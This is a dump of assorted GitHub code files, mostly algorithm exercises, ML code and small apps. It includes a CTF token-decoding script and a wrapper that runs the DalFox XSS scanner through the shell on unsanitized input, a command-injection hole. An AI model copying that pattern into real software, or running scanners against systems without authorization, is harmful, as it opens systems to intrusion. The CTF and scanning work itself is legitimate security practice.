+{"seq_id":"37824441339","text":"from collections import deque\n\n\ndef bfs(g, s):\n    que = deque()\n    colors[s] = 0\n    que.append(s)\n\n    while que:\n        v = que.popleft()\n\n        for next_v in g[v]:\n            if colors[next_v] != -1:\n                if colors[next_v] == colors[v]:\n                    return False\n                continue\n            colors[next_v] = 1 - colors[v]\n            que.append(next_v)\n\n    return True\n\n\nn, m = map(int, input().split())\ng = [[] for _ in range(n)]\nfor i in range(m):\n    a, b = map(int, input().split())\n    g[a].append(b)\n    g[b].append(a)\n\ncolors = [-1 for _ in range(n)]\nis_bipartite = True\n\nfor v in range(n):\n    if colors[v] != -1:\n        continue\n    if not bfs(g, v):\n        is_bipartite = False\n\nif is_bipartite:\n    print(\"Yes\")\nelse:\n    print(\"No\")\n","repo_name":"yuyagishita/book_algorithm_solution","sub_path":"chap13/3.py","file_name":"3.py","file_ext":"py","file_size_in_byte":784,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"74850774910","text":"#!/usr/bin/python3\n\n__author__ = \"yang.dd\"\n\n\"\"\"\n    example 066\n\"\"\"\n\nif __name__ == '__main__':\n    nums = []\n    for i in range(3):\n        nums.append(int(input(\"请输入一个数字：\")))\n    nums.sort()\n    print(\"按顺序排列：\", nums)\n    nums.reverse()\n    print(\"按倒叙排列：\", nums)\n","repo_name":"yangdd1205/python3-100-examples","sub_path":"example66.py","file_name":"example66.py","file_ext":"py","file_size_in_byte":304,"program_lang":"python","lang":"zh","doc_type":"code","stars":17,"dataset":"github-code","pt":"60"}
+{"seq_id":"39647174485","text":"# encoding: utf-8\nfrom com.util.dataAbout import dataLoad\nfrom sklearn.cluster import DBSCAN\nimport numpy as np\nfrom matplotlib import pyplot as plt\n\n\n'''\n0.获取数据\n'''\ndataSet = dataLoad('../../data/t8_6566.dat')\noutliers_fraction = 0.25  #异常样本比例\n'''\n1.拆分\n'''\ndb = DBSCAN(eps=20, min_samples=6).fit(dataSet)\nlabels = db.labels_\nnum_cluster = len(set(labels)) - (1 if -1 in labels else 0)\ngloable_outlier = dataSet[labels == -1]\nif len(gloable_outlier) > 0:\n    plt.scatter(gloable_outlier[:, 0], gloable_outlier[:, 1], s=5, c='r', marker='*')\nmem = 1000\ngloable_outlier = dataSet[labels == -1]\nif len(gloable_outlier) > 0:\n    plt.scatter(gloable_outlier[:, 0], gloable_outlier[:, 1], s=5, c='r', marker='*')\n    plt.show()\n'''\n\n'''\nfor t in range(num_cluster):\n    block = dataSet[labels == t]\n    print(len(block))\n    plt.scatter(block[:, 0], block[:, 1], s=5, c='b', marker='*')\n    plt.show()","repo_name":"iiZhangJun/MyProject","sub_path":"com/main/demo.py","file_name":"demo.py","file_ext":"py","file_size_in_byte":919,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12900655219","text":"\"\"\"\n    environment.py\n\"\"\"\n\nimport math, random\nfrom functools import reduce\n#from PIL import Image\n#import numpy as np\nfrom numpy import array, dot\nfrom numpy.random import rand\nimport enum\n\nfrom organisms import Organism, Health\n\n\n\nclass Environment:\n\t\n    def __init__(self, size, restriction=0.25):\n        self.width = size[0]\n        self.height = size[1]\n        self.organisms = []\n        self.colour = (255,255,255)\n        self.elasticity = 1.\n        self.colliding = True\n        self.time_elapsed = 0\n        self.restriction = restriction\n\n    def add_organisms(self,n=1,**kwargs):\n        \"\"\"  \"\"\"\n        #kwargs.get('x', ...)\n        for i in range(n):\n            space_occupied = True\n            while space_occupied:\n                o = Organism(random.uniform(0, self.width), random.uniform(0, self.height))\n                space_occupied = False\n                for j, o2 in enumerate(self.organisms):\n                    if abs(o.x - o2.x) < 1.5*o.size and abs(o.y - o2.y) < 1.5*o.size:\n                        #print(f\"{i} is occupied at ({o.x}, {o.y} by particle {j}\")\n                        space_occupied = True\n                #print(i, space_occupied)\n            \n            if i >= math.floor(n*(1.-self.restriction)):\n                o.speed = 0\n            #print(f\"Created organism at ({o.x},{o.y})\")\n            self.organisms.append(o)\n            self.organisms[0].infect(self.time_elapsed)\n\n\n    def update(self):\n        \"\"\" update all organisms' health and position \"\"\"\n        for i, o in enumerate(self.organisms):\n            o.update_health(self.time_elapsed)\n            o.update_position()\n            self.bounce_off_wall(o)\n            for j, o2 in enumerate(self.organisms[i+1:]):\n                self.collide(o, o2)\n        \n\n    def remove_organism(self, organism):\n       \"\"\"  \"\"\"\n       pass\n\n\n    def collide(self, organism1, organism2):\n        \"\"\" check if organisms collide \"\"\"\n        distance = (organism1.x - organism2.x, organism1.y - organism2.y)\n        r = reduce(lambda x,y: math.sqrt(x**2+y**2), distance)\n        if r < organism1.size + organism2.size:\n            # infect if either is sick\n            if organism1.is_contageous(): organism2.infect(self.time_elapsed)\n            if organism2.is_contageous(): organism1.infect(self.time_elapsed)\n\n            if organism2.speed == 0:\n                organism1.angle = 360.0 - organism1.angle\n                #organism1.colour = (0,218,255)\n            else:\n                # swap angles due to collision\n                organism2.angle, organism1.angle = (organism1.angle, organism2.angle)\n\n\n    def bounce_off_wall(self,organism):\n        \"\"\" check if (x,y) is off the screen, bounce off limits\"\"\"\n\n        if organism.x > self.width - organism.size:\n            organism.x = 2*(self.width - organism.size) - organism.x\n            organism.angle = - organism.angle\n            organism.speed *= self.elasticity\n        \n        elif organism.x < organism.size:\n            organism.x = 2*organism.size - organism.x\n            organism.angle = - organism.angle\n            organism.speed *= self.elasticity\n        \n        if organism.y > self.height - organism.size:\n            organism.y = 2*(self.height - organism.size) - organism.y\n            organism.angle = math.pi - organism.angle\n            organism.speed *= self.elasticity\n        \n        elif organism.y < organism.size:\n            organism.y = 2*organism.size - organism.y\n            organism.angle = math.pi - organism.angle\n            organism.speed *= self.elasticity\n\n    def health_overview(self):\n        \"\"\" counts  \"\"\"\n        healthy, infected, contageous, sick, healed = 0,0,0,0,0\n        for i, o in enumerate(self.organisms):\n            if   o.health == Health.healthy:    healthy += 1\n            elif o.health == Health.infected:   infected += 1\n            elif o.health == Health.contageous: contageous += 1\n            elif o.health == Health.sick:       sick += 1\n            elif o.health == Health.healed:     healed += 1\n        return {\\\n            Health.healthy: healthy,\n            Health.infected: infected,\n            Health.contageous: contageous,\n            Health.sick: sick,\n            Health.healed: healed}\n","repo_name":"markusdoppler/Pandemic","sub_path":"environment.py","file_name":"environment.py","file_ext":"py","file_size_in_byte":4244,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"34960266530","text":"#!/usr/bin/env python\n\n# # Using zip to create a data structure for the donor data\n# donor_names = [\"Bill\", \"Fred\"]\n# donations = [[200, 500], [2000, 3000]]\n# donors = list(zip(donor_names, donations))\n\n# However, in this case, unless that data is coming from elsewhere, you\n# might as well simply hard code the data directly:\n\ndonors = [(\"William Gates, III\", [653772.32, 12.17]),\n          (\"Jeff Bezos\", [877.33]),\n          (\"Paul Allen\", [663.23, 43.87, 1.32]),\n          (\"Mark Zuckerberg\", [1663.23, 4300.87, 10432.0]),\n          ]\n\n# Either way, you end up with a list of tuples -- each tuple is one \"record\",\n# and has the name as the zeroth element, and a list of donations as the other\n# element.\n# It's important the the list of donation is a mutable -- you need to be\n# able to append new donations to it.\n\n\ndef thank_you():\n    print(\"this is the thank you function\")\n\ndef print_report():\n    print(\"this is the print report function\")\n\n\ndef mainloop():\n    \"\"\"\n     “Send a Thank You”, “Create a Report” or “quit”)\n     \"\"\"\n    #result = input(\"type something > \")\n    #print(\"you typed: \", result)\n\n    while True:\n        answer = int(input(\"Select from one of these options:\\n\"\n              \"(1) Send a Thank You\\n\"\n              \"(2) Create a Report\\n\"\n              \"(3) quit\\n\"\n              \"> \"))\n        if answer == 3:\n            break\n        elif answer == 1:\n            thank_you()\n        elif answer == 2:\n            print_report()\n        else:\n            print(\"Please type 1, 2, or 3\")\n\n\n\n\n\nif __name__ == \"__main__\":\n    print('starting...')\n    mainloop()\n\n\n\n","repo_name":"UWPCE-PythonCert/IntroPython-2017","sub_path":"students/Chris/session03/mailroom.py","file_name":"mailroom.py","file_ext":"py","file_size_in_byte":1611,"program_lang":"python","lang":"en","doc_type":"code","stars":9,"dataset":"github-code","pt":"60"}
+{"seq_id":"2378405327","text":"from multiprocessing import context\nfrom urllib import response\nfrom django.http import HttpResponse\nfrom django.shortcuts import render\nfrom .forms import Profile, TextCapForm,Mask\nfrom .face import compare_faces\nfrom .textcap import detect_text\nfrom .mask import detect_labels\nfrom .models import ProfileFace, ppe, textdetaction\n# Create your views here.\n\ndef home(request):\n    return render(request,'home.html')\ndef faceCom(request):\n    if request.method == 'POST':\n        form = Profile(request.POST, request.FILES)  \n        if form.is_valid():  \n            \n            picture1=form.cleaned_data['picture1']\n            picture2=form.cleaned_data['picture2']\n            source_file = picture1\n            # target_file='aws.jpg'\n            target2_file = picture2\n\n            face_matches = compare_faces(source_file, target2_file)\n            print(\"Face matches: \" + str(face_matches))\n            print(\"here is picture 1 input :\" , picture1)\n            output=int(face_matches)\n            obj=ProfileFace(picture1=picture1,picture2=picture2)\n            obj.save()\n            picture1=obj.picture1\n            picture2=obj.picture2\n            return render(request, 'facecompare/result.html',{'res':output,'pic1':picture1,'pic2':picture2})\n          \n    else:  \n        form = Profile()  \n  \n    return render(request, 'facecompare/facecom.html', {'form': form})\n\ndef text_capture(request):\n    if request.method==\"POST\":\n        form=TextCapForm(request.POST, request.FILES)\n        if form.is_valid():\n            pic1=form.cleaned_data['pic1']\n            bucket=''\n            photo=pic1\n            detect_text(photo,bucket)\n            \n            \n            list1=detect_text.list1\n            \n            obj=textdetaction(picture1=pic1)\n            obj.save()\n            picture1=obj.picture1\n            \n            return render(request,'textcapture/textresult.html',{'list1':list1,'pic':picture1})\n        \n    else:\n        form=TextCapForm()\n    return render(request,'textcapture/textcap.html',{'form':form})\n\ndef maskdetect(request):\n    if request.method==\"POST\":\n        form=Mask(request.POST, request.FILES)\n        if form.is_valid():\n            pic1=form.cleaned_data['pic1']\n            \n            photo=pic1\n            bucket=''\n            person_count=detect_labels(photo)\n            detect=ppe(picture1=photo)\n            \n            list1=detect_labels.informations\n            detect.save()\n            pic=detect.picture1\n            return render(request,'maskdetect/result.html',{'list1':list1,'pic':pic})\n        \n    else:\n        form=Mask()\n    return render(request,'maskdetect/mask_home.html',{'form':form})","repo_name":"Sahilgupta9426/railways2s","sub_path":"pro/app/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2680,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"71136415552","text":"import unittest\nfrom random import random\nfrom functools import reduce\n\nfrom data_ingestion.dataset import BinaryDataset\nfrom data_ingestion.dataloader import BinaryDataLoader, MAX_DATASET_SIZE\n\n\nclass TestDataloader(unittest.TestCase):\n\n    def setUp(self):\n        self.dataset = BinaryDataset(kind='train')\n        self.weights = [random() for _ in range(len(self.dataset))]\n        self.loader = BinaryDataLoader(dataset=self.dataset,\n                                       weights=self.weights)\n\n    def test_split_dataset(self):\n        # Check that the length of the original dataset is bigger than the\n        # allowed by PyTorch 1.3.0\n        self.assertTrue(len(self.dataset) > MAX_DATASET_SIZE)\n\n        # The sum of the length of each dataset must be equal to the the length\n        # of the original dataset\n        cum_dataset_length = sum([len(d) for d in self.loader._datasets])\n        self.assertEqual(len(self.dataset), cum_dataset_length)\n\n        # Check that the length of each dataset is smaller than what PyTorch\n        # allows\n        for d in self.loader._datasets:\n            self.assertTrue(len(d) <= MAX_DATASET_SIZE)\n\n        # Check that indices of all datasets are different\n        indices = [d.indices for d in self.loader._datasets]\n        n = len(self.dataset) - 1\n        self.assertEqual(sum([sum(i) for i in indices]), ((n * (n + 1)) / 2))\n\n        # Check that no index is bigger than the original dataset length\n        max_index = max([max(d.indices) for d in self.loader._datasets])\n        self.assertTrue(max_index == (len(self.dataset) - 1))\n\n    def test_split_weights(self):\n        # The concatenation of the splitted weights must be equal to the\n        # original weights\n        concat_weights = reduce(lambda acc, v: acc + v,\n                                self.loader._weights,\n                                [])\n        self.assertEqual(concat_weights, self.weights)\n","repo_name":"JHorcasitas/cnn_document_binarization","sub_path":"test/test_dataloader.py","file_name":"test_dataloader.py","file_ext":"py","file_size_in_byte":1929,"program_lang":"python","lang":"en","doc_type":"code","stars":8,"dataset":"github-code","pt":"60"}
+{"seq_id":"30336234448","text":"# This is a lightweight ML agent trained by self-play.\n# After sharing this notebook,\n# we will add Hungry Geese environment in our HandyRL library.\n# https://github.com/DeNA/HandyRL\n# We hope you enjoy reinforcement learning!\n\n\nimport pickle\nimport bz2\nimport base64\nimport numpy as np\nimport torch\nimport torch.nn as nn\nimport torch.nn.functional as F\n \n\n# Input for Neural Network\n\ndef make_input(obses):\n    b = np.zeros((17, 7 * 11), dtype=np.float32)\n    obs = obses[-1]\n\n    for p, pos_list in enumerate(obs['geese']):\n        # head position\n        for pos in pos_list[:1]:\n            b[0 + (p - obs['index']) % 4, pos] = 1\n        # tip position\n        for pos in pos_list[-1:]:\n            b[4 + (p - obs['index']) % 4, pos] = 1\n        # whole position\n        for pos in pos_list:\n            b[8 + (p - obs['index']) % 4, pos] = 1\n            \n    # previous head position\n    if len(obses) > 1:\n        obs_prev = obses[-2]\n        for p, pos_list in enumerate(obs_prev['geese']):\n            for pos in pos_list[:1]:\n                b[12 + (p - obs['index']) % 4, pos] = 1\n\n    # food\n    for pos in obs['food']:\n        b[16, pos] = 1\n\n    return b.reshape(-1, 7, 11)\n\n# Main Function of Agent\nfrom kaggle_environments.envs.hungry_geese.hungry_geese import Observation, Configuration, Action, GreedyAgent  \na  = GreedyAgent(Configuration({'rows': 7, 'columns': 11}))\ndef agent(obs, _):\n    # print(\"obs\",obs)\n    return a (Observation(obs))","repo_name":"zhoushiyang12/Hungry-goose-try","sub_path":"submission_rule.py","file_name":"submission_rule.py","file_ext":"py","file_size_in_byte":1459,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"12521712063","text":"import math\n\n\ndef SUM06(n):\n    s = 0\n    i = 1\n    while i <= n:\n        s += math.sqrt(2 + s)\n        i += 1\n    s = \"{:.5f}\".format(s)\n    return s\n\n\ndef main():\n    case = int(input())\n    for i in range(0, case):\n        n = int(input())\n        print(SUM06(n))\n\n\nif __name__ == \"__main__\":\n    main()\n","repo_name":"trihuynhnhut0107/Thor-LuyenCode","sub_path":"TuyetLoan/SUM06.py","file_name":"SUM06.py","file_ext":"py","file_size_in_byte":307,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"3916940134","text":"#!/usr/bin/env python3\nimport sys\n\n# get args by `cat token` and encode it.\n# 'surrogateescape' for surrogate error\nvalue = sys.argv[1].encode(errors='surrogateescape')\n\n# parse the values get in token\nnew_value = ''.join([chr(v - i) for i, v in enumerate(value)])\n\n# print new values\nprint(new_value)\n","repo_name":"kev-ye/42_SnowCrash","sub_path":"level09/Ressources/script.py","file_name":"script.py","file_ext":"py","file_size_in_byte":302,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"19986357155","text":"import tkinter\nimport tkinter.messagebox\n\nclass MyGui:\n    def __init__(self):\n        self.main_window = tkinter.Tk()\n        \n        self.top_frame = tkinter.Frame(self.main_window)\n        self.bottom_frame = tkinter.Frame(self.main_window)\n        \n        self.cb_var1 = tkinter.IntVar()\n        self.cb_var2 = tkinter.IntVar()\n        self.cb_var3 = tkinter.IntVar()\n        self.cb_var4 = tkinter.IntVar()\n        self.cb_var5 = tkinter.IntVar()\n        self.cb_var6 = tkinter.IntVar()\n        self.cb_var7 = tkinter.IntVar()\n        \n        self.cb_var1.set(0)\n        self.cb_var2.set(0)\n        self.cb_var3.set(0)\n        self.cb_var4.set(0)\n        self.cb_var5.set(0)\n        self.cb_var6.set(0)\n        self.cb_var7.set(0)\n        \n        self.cb1 = tkinter.Checkbutton(self.top_frame,\n                    text='Замена масла - $30.00',variable=self.cb_var1)\n        self.cb2 = tkinter.Checkbutton(self.top_frame,\n                    text='Смазочные работы - $20.00', variable=self.cb_var2)\n        self.cb3 = tkinter.Checkbutton(self.top_frame,\n                    text='Промывка радиатора - $40.00', variable=self.cb_var3)\n        self.cb4 = tkinter.Checkbutton(self.top_frame,\n                    text='Замена жидкости в трансмиссии - $100.00', variable=self.cb_var4)\n        self.cb5 = tkinter.Checkbutton(self.top_frame,\n                    text='Осмотр - $35.00', variable=self.cb_var5)\n        self.cb6 = tkinter.Checkbutton(self.top_frame,\n                    text='Замена глушителя выхлопа - $200.00', variable=self.cb_var6)\n        self.cb7 = tkinter.Checkbutton(self.top_frame,\n                    text='Перестановка шин - $20.00', variable=self.cb_var7)\n        \n        self.calc_button = tkinter.Button(self.bottom_frame,\n                            text = 'Показать стоимость', command=self.summary)\n        self.quit_button = tkinter.Button(self.bottom_frame,\n                            text = 'Выйти', command=self.main_window.destroy)\n\n        self.cb1.pack()\n        self.cb2.pack()\n        self.cb3.pack()\n        self.cb4.pack()\n        self.cb5.pack()\n        self.cb6.pack()\n        self.cb7.pack()\n        \n        self.calc_button.pack(side = \"left\")\n        self.quit_button.pack()\n        \n        self.top_frame.pack()\n        self.bottom_frame.pack()\n        \n        tkinter.mainloop()\n        \n    def summary(self):\n        summ = 0\n        self.message = 'Ваши затраты = $'\n\n        if self.cb_var1.get() == 1:\n            summ += 30\n        if self.cb_var2.get() == 1:\n            summ += 20\n        if self.cb_var3.get() == 1:\n            summ += 40\n        if self.cb_var4.get() == 1:\n            summ += 100\n        if self.cb_var5.get() == 1:\n            summ += 35\n        if self.cb_var6.get() == 1:\n            summ += 200\n        if self.cb_var7.get() == 1:\n            summ += 20\n        self.message += str(summ) + '.00'\n    \n        tkinter.messagebox.showinfo('Общая стоимость', self.message)\n\n            \na = MyGui()\n","repo_name":"AEsmur/my_python","sub_path":"3rd semester HWs/HW2/task4.py","file_name":"task4.py","file_ext":"py","file_size_in_byte":3141,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"36693075591","text":"from collections import defaultdict\n\ndef make_graph(tickets):\n\tgraph = defaultdict(list)\n\tfor s, t in tickets:\n\t\tgraph[s].append(t)\n\tfor name in graph:\n\t\tgraph[name].sort(reverse=True)\n\treturn graph\n\ndef solution(tickets):\n\tgraph, answer = make_graph(tickets), []\n\n\tdef dfs(cur):\n\t\twhile graph[cur]:\n\t\t\tdfs(graph[cur].pop())\n\t\telse:\n\t\t\tnonlocal answer\n\t\t\tanswer.append(cur)\n\tdfs('ICN')\n\treturn answer[::-1]\n\ndef solution2(tickets):\n    routes = {}\n    for t in tickets:\n        routes[t[0]] = routes.get(t[0], []) + [t[1]]\n    for r in routes:\n        routes[r].sort(reverse=True)\n    stack = ['ICN']\n    path = []\n    while stack:\n        top = stack[-1]\n        if top in routes and routes[top]:\n            stack.append(routes[top].pop())\n        else:\n            path.append(stack.pop())\n    return path[::-1]\n\nif __name__ == '__main__':\n\t# print(solution(\n\t# \t[[\"ICN\", \"JFK\"], [\"HND\", \"IAD\"], [\"JFK\", \"HND\"]]))\n\t# print(solution(\n\t# \t[[\"ICN\", \"SFO\"], [\"ICN\", \"ATL\"], [\"SFO\", \"ATL\"], [\"ATL\", \"ICN\"], [\"ATL\",\"SFO\"]]))\n\t# ['ICN', 'B', 'ICN', 'A', 'D', 'A']\n\tprint(solution(\n\t\t[['ICN','B'],['B','ICN'],['ICN','A'],['A','D'],['D','A']]))\n\tprint(solution2(\n\t\t[['ICN','B'],['B','ICN'],['ICN','A'],['A','D'],['D','A']]))\n\t","repo_name":"iml1111/algorithm-study","sub_path":"src/programmers/level3/여행경로.py","file_name":"여행경로.py","file_ext":"py","file_size_in_byte":1220,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"60"}
+{"seq_id":"7343171710","text":"'''\r\nThe UI module\r\n'''\r\nimport Logic\r\n\r\nstoryes = [1,2,3,4,5,6,7]\r\nliftA = 1\r\nliftB = 7\r\n\r\nmatrix = [['Storyes', 'A','B'], # the default matrix\r\n          ['7', '-','*'],\r\n          ['6', '-','-'],\r\n          ['5', '-','-'],\r\n          ['4', '-','-'],\r\n          ['3', '-','-'],\r\n          ['2', '-','-'],\r\n          ['1', '*','-']]\r\n\r\ndef showMenu():\r\n    \"\"\"Prints the menu\r\n    Input: no input\r\n    Output: the menu\"\"\"\r\n\r\n    print (\"PLEASE CHOOSE AN OPTION: \",'\\n')\r\n    print (\"1.Show the elevator states \")\r\n    print (\"2.Choose your floor and call the elevator \")\r\n    print (\"0.Exit\")\r\n    \r\ndef showElevatorStates(liftA,liftB):\r\n    \"\"\"Prints the states of the elevators\r\n    Input: no input\r\n    Output: the states\"\"\"\r\n\r\n    print (\"Elevator A is at floor \",liftA)\r\n    print (\"Elevator B is at floor \",liftB,'\\n')\r\n\r\n\r\ndef secondOption(liftA,liftB):\r\n    \"\"\"This is the second option that you can choose. You can choose a floor, the correct elevator comes to that floor,\r\n    then you can choose the destination, and the elevator goes there;\r\n    Input: the elevators\r\n    Output: the states and for each floor, displays which elevator is going up/down\"\"\"\r\n\r\n    Logic.remakeMatrix(0,0,liftA,liftB,matrix) #resets the matrix\r\n    Logic.printTable(matrix)\r\n    showElevatorStates(liftA,liftB)\r\n    \r\n    stop = False\r\n    while stop == False: #a loop so you can choose multiple times before closing the program\r\n        print(\"Call the elevator from floor: \")\r\n        floor = int(input())\r\n        if floor > 0 and floor < 8:\r\n            if Logic.bestLift(liftA,liftB,floor) == liftB:\r\n                print(\"The B elevator will come, from floor: \", liftB)\r\n                prevB = liftB\r\n                liftB = floor\r\n                Logic.remakeMatrix(0,prevB,liftA,liftB,matrix) #prevA=0 means that the matrix is changing only for elevator B\r\n                Logic.printTable(matrix)\r\n                stop = True\r\n            else:\r\n                print(\"The A elevator will come, from floor: \", liftA)\r\n                prevA = liftA\r\n                liftA = floor\r\n                Logic.remakeMatrix(prevA,0,liftA,liftB,matrix)\r\n                Logic.printTable(matrix)\r\n                stop = True\r\n            showElevatorStates(liftA,liftB)\r\n        else:\r\n            print(\"Invalid floor\")\r\n        \r\n    stop = False\r\n    while stop == False: #same here\r\n        print(\"Choose the destination: \")\r\n        if floor > 0 and floor < 8: #without this line, if the floor is incorrect, previousfloor will become an incorrect floor\r\n            previousfloor = floor\r\n        floor = int(input())\r\n        if floor > 0 and floor < 8:\r\n            if liftA == previousfloor:\r\n                liftA = floor\r\n                Logic.remakeMatrix(previousfloor,0,liftA,liftB,matrix)\r\n                Logic.printTable(matrix)\r\n                stop = True\r\n                showElevatorStates(liftA,liftB)\r\n            if liftB == previousfloor:\r\n                liftB = floor\r\n                Logic.remakeMatrix(0,previousfloor,liftA,liftB,matrix)\r\n                Logic.printTable(matrix)\r\n                stop = True\r\n                showElevatorStates(liftA,liftB)\r\n        else:\r\n            print(\"Invalid floor\")\r\n\r\n\r\ndef start(liftA,liftB):\r\n    \"\"\"This is the start function, and the controller for the menu\r\n    input: the lifts\r\n    output: \"\"\"\r\n\r\n    stop = False\r\n    while stop == False: # and here\r\n        showMenu()\r\n        option=int(input())\r\n        if option == 1:\r\n            showElevatorStates(liftA,liftB)\r\n        elif option == 2:\r\n            secondOption(liftA,liftB)\r\n        elif option == 0:\r\n            stop = True\r\n        else:\r\n            print(\"Invalid option\")\r\n\r\n\r\nstart(liftA,liftB)","repo_name":"TitusPop/FunStuff","sub_path":"Elevator/UI.py","file_name":"UI.py","file_ext":"py","file_size_in_byte":3735,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"22953879142","text":"import subprocess\n\ndef run_dalfox(target_url, options, output_file):\n    command = f'dalfox scan {target_url} {options}'  # Lệnh DalFox cần chạy\n\n    try:\n        result = subprocess.check_output(command, shell=True, stderr=subprocess.STDOUT)\n        result = result.decode('utf-8')  # Chuyển đổi kết quả thành chuỗi văn bản\n        \n        if output_file:\n            with open(output_file, 'w') as file:\n                file.write(result)  # Ghi kết quả vào tệp văn bản\n            print(f'Kết quả đã được xuất ra file {output_file}')\n        else:\n            print(result)  # In kết quả của DalFox\n    except subprocess.CalledProcessError as e:\n        print(f'Lỗi khi chạy DalFox: {e.output.decode(\"utf-8\")}')\n\n# Lấy thông tin từ người dùng\ntarget_url = input('Nhập URL cần kiểm tra: ')\noptions = input('Nhập các tùy chọn của DalFox (nếu có): ')\noutput_file = input('Nhập tên tệp văn bản để xuất kết quả (hoặc nhấn Enter để không xuất file): ')\n\nrun_dalfox(target_url, options, output_file)\n\n","repo_name":"akaisaiza/ToolBurp","sub_path":"dalfox.py","file_name":"dalfox.py","file_ext":"py","file_size_in_byte":1104,"program_lang":"python","lang":"vi","doc_type":"code","stars":0,"dataset":"github-code","pt":"60"}
+{"seq_id":"17844756854","text":"import tensorflow as tf\nfrom tensorflow import keras\nimport numpy as np\ntry:\n    from utils import filters\nexcept ModuleNotFoundError:\n    import filters\n\ndef focalSoftMSE(y_true, y_pred, alpha=0.1, beta=10.0):\n\n    squareError = tf.math.squared_difference(y_true, y_pred)\n    softplus = tf.math.log(1+alpha*tf.math.exp(squareError * beta + 3))\n    loss = squareError * softplus\n\n    return tf.reduce_mean(loss)\n\ndef focalImageLoss(y_true, y_pred, threshold):\n    return\n\ndef focalMSE(y_true, y_pred, alpha=0.1, gamma=2.0):\n    \"\"\"\n    Description: focal MSE loss\n    \"\"\"\n    mse = keras.losses.mse(y_true, y_pred)\n    loss =alpha* tf.pow(1-y_true, gamma) * mse[:,:,:,:,tf.newaxis]\n\n    return tf.reduce_sum(loss)\n\ndef meanGradientError(y_true, y_pred):\n    \"\"\"\n    Description: mean gradient error\n    \"\"\"\n    mge = keras.losses.mse(filters.sobelFilter3D(y_true), filters.sobelFilter3D(y_pred))\n\n    return tf.reduce_mean(mge)\n\n\ndef mixedGradeintError(y_true, y_pred, alpha=0.001):\n    \"\"\"\n    Description: Mixed gradient error\n    \"\"\"\n    mge = keras.losses.mse(filters.sobelFilter3D(y_true), filters.laplacianFilter3D(y_pred))\n    mse = keras.losses.mse(y_true, y_pred)\n\n    return tf.reduce_mean(alpha * mge + (1-alpha)*mse)\n\nclass mixedMSE():\n    def __init__(self, filter, mode=\"add\", alpha=0.001, **kwargs):\n        self.filter = filter\n        self.alpha = alpha\n        self.kwargs = kwargs\n        self.mode = mode\n\n    def __call__(self, y_true, y_pred):\n        tobemix = keras.losses.mse(self.filter(y_true, **self.kwargs), self.filter(y_pred, **self.kwargs))\n        mse = keras.losses.mse(y_true, y_pred)\n        if self.mode==\"add\":\n            loss = tf.reduce_mean(self.alpha * tobemix + mse)\n        elif self.mode==\"blend\":\n            loss = tf.reduce_mean(self.alpha * tobemix + (1-self.alpha)*mse)\n        \n        \n        return loss\n\ndef cDice(y_true, y_pred):\n    by = tf.cast(tf.where(y_true>0, 1, 0), tf.float32)\n    intersect = tf.reduce_sum(by*y_pred)\n    if intersect >0:\n        c = tf.reduce_sum(by*y_pred)/tf.reduce_sum(tf.cast(tf.where(y_pred>0,1,0), tf.float32)*by)\n    else:\n        c = 1\n    cdice = 2*intersect / (c*tf.reduce_sum(y_pred)+tf.reduce_sum(by))\n    return cdice\n\nclass mixedDiceMSE():\n    def __init__(self, filter, mode=\"add\", alpha=0.001, **kwargs):\n        self.filter = filter\n        self.alpha = alpha\n        self.kwargs = kwargs\n        self.mode = mode\n        \n    def cDice(self, y_true, y_pred):\n        # by = tf.cast(tf.where(y_true>0, 1, 0), tf.float32)\n        by = y_true\n        intersect = tf.reduce_sum(by*y_pred)\n        # if intersect >0:\n        #     c = tf.reduce_sum(by*y_pred)/tf.reduce_sum(tf.cast(tf.where(y_pred>0,1,0), tf.float32)*by)\n        # else:\n        #     c = 1\n        cdice = 2*intersect / (tf.reduce_sum(y_pred**2)+tf.reduce_sum(by**2))\n        return cdice\n        \n    def __call__(self, y_true, y_pred):\n        tobemix = 1 - self.cDice(y_true, y_pred)\n        mse = keras.losses.mse(y_true, y_pred)\n        if self.mode==\"add\":\n            loss = tf.reduce_mean(self.alpha * tobemix + mse)\n        elif self.mode==\"blend\":\n            loss = tf.reduce_mean(self.alpha * tobemix + (1-self.alpha)*mse)\n        return loss\n\nclass focalSoftDice():\n    def __init__(self, filter, mode=\"add\", alpha=0.001, **kwargs):\n        self.filter = filter\n        self.alpha = alpha\n        self.kwargs = kwargs\n        self.mode = mode\n\n    def __call__(self, y_true, y_pred):\n        y_true_filtered = self.filter(y_true, **self.kwargs)\n        dice = 2 * tf.reduce_sum(y_true_filtered*y_pred) / tf.reduce_sum(y_true_filtered+y_pred)\n\n        tobemix = keras.losses.mse(self.filter(y_true, **self.kwargs), self.filter(y_pred, **self.kwargs))\n        mse = keras.losses.mse(y_true, y_pred)\n        if self.mode==\"add\":\n            loss = tf.reduce_mean(self.alpha * tobemix + mse)\n        elif self.mode==\"blend\":\n            loss = tf.reduce_mean(self.alpha * tobemix + (1-self.alpha)*mse)\n        \n        \n        return loss\n    \nif __name__==\"__main__\":\n    \n    import SimpleITK as sitk\n\n    #image = sitk.GetArrayFromImage(sitk.ReadImage(r\"/uCTGan/data/unitTest/test_t1_brain.nii.gz\"))\n    image = sitk.GetArrayFromImage(sitk.ReadImage(r\"C:\\Users\\wangs\\Documents\\35_um_data_100x100x48 niis\\Data\\236LT_w1.nii.gz\"))\n    #lossfn = tf.keras.losses.MeanSquaredError(reduction=\"auto\", name=\"mean_squared_error\")\n    lossfn = focalSoftMSE\n    tf.random.set_seed(42)\n\n    tfimage = tf.convert_to_tensor(image, dtype=tf.float32) / tf.reduce_max(image)\n    tfimage = 